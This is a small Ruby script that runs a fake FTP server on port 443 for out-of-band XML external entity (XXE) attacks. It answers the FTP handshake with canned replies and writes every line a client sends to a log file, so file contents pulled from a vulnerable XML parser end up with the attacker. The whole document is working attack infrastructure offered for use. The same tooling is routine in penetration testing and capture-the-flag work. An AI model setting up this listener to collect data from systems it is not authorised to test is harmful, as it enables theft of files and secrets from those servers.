custom_ftp_server.rb

#!/usr/bin/env ruby
##################################
# XXE OOB FTP Server Simulation
##################################
require 'socket'

ftp_server = TCPServer.new 443
# Logging Server activities
log = File.open("xxe-ftp.log", "a")

loop do
  Thread.start(ftp_server.accept) do |ftp_client|
    puts "================================================\n"
    puts "New connection established ..."
    ftp_client.puts("220 FTPServer-1337")
    time = Time.new
    sock_domain, remote_port, remote_hostname, remote_ip = ftp_client.peeraddr
    puts "Connection coming from #{remote_ip} and port #{remote_port}"
    puts "Time : #{time}"
    loop {
        req = ftp_client.gets()
        puts "< "+req
        log.write "DATA RECIEVED : #{req.inspect}\n"
       if req.include? "LIST"
        ftp_client.puts("drwxrwxrwx 1 owner group      04:37 test")
        ftp_client.puts("150 Opening BINARY mode data connection for /bin/ls")
        ftp_client.puts("226 Transfer complete.")
       elsif req.include? "USER"
        ftp_client.puts("331 password please - version check")
       elsif req.include? "PORT"
        log.write "! PORT received"
        log.write "> 200 PORT Command OK"
        ftp_client.puts("200 PORT Command OK.")
       else
        log.write "> 230 User logged in, proceed."
        ftp_client.puts("230 User logged in, proceed.")
       end
    }
    puts "\nRemote connection closed ..."
  end
end